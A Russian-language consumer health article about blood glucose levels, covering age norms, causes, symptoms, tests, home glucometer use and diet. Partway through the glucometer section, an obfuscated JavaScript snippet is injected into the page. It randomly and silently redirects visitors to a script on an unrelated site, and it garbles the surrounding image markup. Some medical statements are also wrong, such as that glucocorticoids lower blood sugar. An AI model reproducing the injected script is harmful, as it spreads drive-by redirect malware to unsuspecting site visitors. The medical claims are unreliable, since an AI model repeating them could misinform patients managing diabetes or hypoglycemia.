Уровень глюкозы в крови является крайне важным показателем, который характеризует общее состояние здоровья человека. При отклонении его от нормы возникают тяжёлые состояния гипогликемии или гипергликемии, что отрицательно влияет на функционирование всех органов и систем организма.
Содержание
Роль глюкозы в организме человека
Глюкоза является простым углеводом, что обеспечивает клетки организма энергией. Человек получает её с принимаемой пищей. Глюкоза также влияет на функционирование центральной нервной системы и терморегуляцию. Но стоит отметить, что содержание в крови этого вещества, которое является неотъемлемым элементом метаболизма, не должно выходить за пределы определённых норм.
Таблица: нормы уровня глюкозы в крови
| Возраст | Пол | Показатель нормы ммоль/л |
| 1 месяц | Не имеет значения | 2,7–3,2 |
| 6 месяцев | Не имеет значения | 2,9–4,1 |
| 1 год | Не имеет значения | 2,9–4,4 |
| 2 года | Не имеет значения | 3,0–4,5 |
| 6 лет | Не имеет значения | 3,0–5,0 |
| 9 лет | Не имеет значения | 3,3–5,3 |
| 15 лет | Не имеет значения | 3,3–5,2 |
| 30 лет | М | 3,5–5,5 |
| Ж | 4,1–5,9 | |
| 55 лет | М | 3,5–5,5 |
| Ж | 4,1–5,9 | |
| 65 лет | М | 3,5–5,5 |
| Ж | 4,1–5,9 | |
| Беременные | 3,3–6,6 |
Важно отметить, что представленные в таблице показатели верны при использовании в качестве биоматериала для соответствующего исследования капиллярной крови.
Высокий уровень содержания глюкозы в крови у беременных является основанием для более тщательного её наблюдения со стороны гинеколога и профильных специалистов, так как подобного рода состояния могут свидетельствовать о начале позднего гестоза, что чревато крайне серьёзными последствиями.
Причины отклонения от нормальных показателей
Глюкоза в крови — показатель непостоянный и может изменяться на протяжении дня вследствие множества причин. Не всегда это может являться признаком патологических изменений в организме, а представляет вполне физиологическое состояние, возникшее на фоне:
- несбалансированного питания, богатого сахарами и жирами или, напротив, строгой диеты;
- чрезмерных физических или умственных нагрузок, эмоциональной нестабильности, стрессов (при этом уровень сахара может упасть до критических отметок, так как при данных состояниях организм расходует слишком много энергии);
- недостатка физической активности (в этом случае, напротив, организм не расходует энергию, следовательно, глюкоза не усваивается его клетками, содержание её в крови может превышать норму);
- приёма отдельных групп медикаментозных препаратов (бета-блокаторов, глюкокортикоидов — приводят к падению уровня глюкозы).
Стоит отметить, что отклонения содержания глюкозы от нормы, вызванные физиологическими причинами, преходящи и не достигают значительных цифр. При устранении соответствующих провоцирующих патологию факторов содержание этого вещества в крови быстро восстанавливается.
Однако зачастую слишком низкие или высокие показатели бывают следствием или симптомом каких-либо заболеваний, например:
- сахарного диабета 1-го и 2-го типов;
- сбоев метаболизма;
- нарушения гормонального фона;
- воспалительных заболеваний поджелудочной железы;
- хронических заболеваний ЖКТ.
Нарушение обменных процессов и возникающий на этом фоне сахарный диабет выражаются высокими показателями сахара крови, тогда как остальные из указанных дисфункций часто приводят к гипогликемии.
При всём при этом стоит отметить, что наиболее частой причиной отклонения содержания глюкозы от нормы (повышения) выступает сахарный диабет.
Механизмы, приводящие к повышению уровня глюкозы, следующие:
- недостаточность выработки инсулина, принимающего участие в усвоении глюкозы, что характерно для диабета первого типа;
- нарушение распознавания инсулина клетками тканей — характерно для диабета второго типа;
- нарушение усвояемости глюкозы.
При недостаточном поступлении глюкозы в организм уровень сахара может значительно снизиться. Такое бывает, например, при соблюдении строгих диет или больших перерывах между приёмами пищи.
Характерные симптомы повышения и понижения уровня сахара в крови
Гипогликемия — низкое содержание в крови глюкозы — может сопровождаться следующими симптомами:
- головными болями;
- ощущением слабости, разбитости;
- сильным чувством голода;
- вегетативными расстройствами (тахикардией, ознобом, тремором мышц).
Стоит отметить, что заподозрить гипогликемию можно лишь при наличии совокупности обозначенных выше симптомов. При падении уровня глюкозы ниже уровня 2,7 ммоль/л наступает так называемая гипогликемическая кома, являющаяся опасным для жизни состоянием.
Повышенный уровень глюкозы в крови называют гипергликемией, которая характеризуется следующими симптомами:
- постоянной сильной жаждой;
- учащённым мочеиспусканием;
- кожным зудом;
- ухудшением слуха и остроты зрения;
- потерей веса.
Данные симптомы характерны в первую очередь для сахарного диабета обоих типов.
При наличии подобного рода симптомов следует обратиться к врачу — терапевту или эндокринологу, — который исходя из клинической картины, наблюдаемой у пациента симптоматики, предложит ему сдать соответствующие анализы для определения содержания в крови глюкозы.
Диагностика гипер- и гипогликемии
Для определения уровня глюкозы в крови используются различные методики, однако ведущей и наиболее простой из них является общий анализ крови на сахар.
Анализ крови на сахар
Для проведения исследования берётся кровь из безымянного пальца. Перед проведением самого анализа необходима определённая подготовка: начиная с вечера предшествующего дня, нельзя употреблять в пищу жирную пищу, сладости, употреблять алкогольные напитки. Сам анализ проводится натощак в утреннее время.
Стоит отметить, что в некоторых случаях кровь для исследования может быть взята и из вены. Правила подготовки такие же, как и при заборе из пальца. Однако показатели нормы для венозной и капиллярной крови отличаются, поэтому интерпретировать полученные результаты может только врач.
Глюкозотолерантный тест (ГТТ)
Это исследование направлено на получение оценки работы поджелудочной железы. Проводится оно натощак по тем же правилам, что и для общего анализа крови на сахар. Суть его заключается в том, что пациенту производят забор крови на сахар, затем он принимает внутрь определённую дозу глюкозы, а по истечении 2 часов тест повторяют. Анализ показывает, насколько усваивается глюкоза и как вырабатывается инсулин поджелудочной железой.
Таблица: показатели глюкозотолерантного теста, ммоль/л
| Здоровые люди | При нарушениях толерантности к глюкозе | При сахарном диабете | |
| Натощак | ≤ 5,55 | ≤ 6,7 | ≥ 6,7 |
| Через 2 часа | ≤ 7,8 | ≥ 7,8 < 11,1 | ≥ 11,1 |
Самым распространённым видом теста считается однократное исследование уровня сахара через 2 часа. Но иногда, чтобы посмотреть, как этот показатель возвращается к норме, анализ проводят 5 раз за 3 часа (через 1 час, далее каждые полчаса) или 4 раза за 2 часа (каждые 30 минут после «нагрузки» углеводами).
У здоровых людей после «нагрузки» глюкозой сахар возвращается к нормальному уровню через 3 часа, у больных сахарным диабетом он может «застрять» на высоких цифрах надолго.
Определение гликированного гемоглобина
При помощи метода определения гликированного гемоглобина можно судить о колебании уровня глюкозы крови за последние 3 месяца, что крайне важно для раннего выявления различных патологий. Биоматериалом для анализа выступает капиллярная кровь из пальца, особой подготовки для обследования не требуется.
Определение гликированного гемоглобина — измерение среднего уровня сахара в крови за 3 месяца. Поскольку эритроциты, в которых находится гемоглобин, живут 120 дней, то и исследование показывает данные за этот срок.
Домашние измерения
Измерить уровень сахара в крови можно и дома при помощи специальных приборов — глюкометров. Для этого действуют так:
- Тест-полоску вставляют в прибор, включают его.
- Делают прокол на безымянном пальце специальным ланцетом.
- Первую каплю крови стирают ватным тампоном (она может содержать межклеточную жидкость и повлиять на результат).
- Дожидаются появления следующей капли (чтобы получить её, можно аккуратно сдавить место прокола) и помещают её на специальную полоску.
- Через несколько секунд оценивают результат, выданный глюкометром.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/10/post_5bba67fb9645b-728×487.jpg» alt=»Измерение уровня сахара глюкометром» width=»728″ height=»487″ /> Глюкометр необходим для ежедневного самоконтроля уровня сахара в крови
Измерять уровень сахара в крови в домашних условиях следует утром натощак или по соответствующим показаниям.
Врачи рекомендуют вести бумажный дневник измерений, хотя многие глюкометры сохраняют в памяти показатели. В него нужно вносить не только цифры уровня сахара, но и время, когда проводилось исследование (натощак утром, через 2 часа после еды, ночью). Это сделает более эффективным процесс лечения и позволит минимизировать количество необходимых медикаментов.
Видео: что влияет на показания глюкометра
Лечение повышенного и пониженного уровня сахара в крови
Терапия гипер- и гипогликемии сводится к приведению уровня глюкозы в крови в норму. При пониженном уровне сахара рекомендации достаточно просты: следует увеличить поступление глюкозы в организм, наладив разнообразное питание, включающее продукты с низким гликемическим индексом.
Гликемический индекс — скорость расщепления углеводов, поступающих в организм с продуктами питания. Чем быстрее это происходит, тем выше гликемический индекс конкретного продукта.
Низкий гликемический индекс обозначает, что углеводы будут расщепляться медленно, то есть инсулин будут вырабатываться постепенно и в умеренном количестве, а значит, количество сахара будет долгое время поддерживаться на определённом уровне. Таким свойством обладают:
- кисломолочные продукты;
- овощи и фрукты;
- орехи;
- злаки и зерновой хлеб;
- нежирные сорта рыбы.
При повышенной глюкозе крови больному предлагается диета, ограничивающая поступление углеводов и сахаров в пищу, иными словами, максимальное исключение продуктов с высоким гликемическим индексом:
- сахаросодержащих продуктов;
- белого хлеба;
- макаронных изделий;
- картофеля.
Основную часть рациона должны составлять овощи (кроме картофеля), понижающие уровень сахара в крови:
- шпинат;
- капуста;
- сельдерей;
- тыква;
- помидоры;
- огурцы;
- баклажаны.
При диабете может потребоваться медикаментозное лечение или инъекции инсулина (при диабете первого типа и тяжёлых формах диабета второго типа).
При выполнении всех лечебных мероприятий можно добиться приведения уровня глюкозы в крови к норме либо купировать болезнь, не дав развиться опасным осложнениям, что актуально для диабета.
Возможные последствия и осложнения
Гипогликемия опасна в первую очередь неожиданным уменьшением уровня сахара и наступлением гипогликемической комы, которая может привести к смерти.
Гипергликемия может привести к патологиям сосудов, глаз, почек и других органов и систем организма.
Профилактика повышения и понижения уровня глюкозы в крови
Основой профилактики повышения или понижения уровня глюкозы в крови является правильное и сбалансированное питание, обеспечивающее оптимальное поступление в организм всех важных веществ и элементов. Также необходимо исключить следующие факторы риска:
- ожирение;
- повышенное давление;
- гиподинамию.
В целях профилактики и выявления проблем, связанных с уровнем глюкозы в крови, следует регулярно проходить диспансеризацию и сдавать соответствующие анализы.
Видео: как часто следует измерять уровень глюкозы в крови
От уровня глюкозы в крови зависит жизнедеятельность организма, нормальная работа его систем. Поэтому важно следить за этим показателем, а при выявлении отклонений обращаться к врачу для определения причин, их вызвавших, и назначения адекватного лечения.
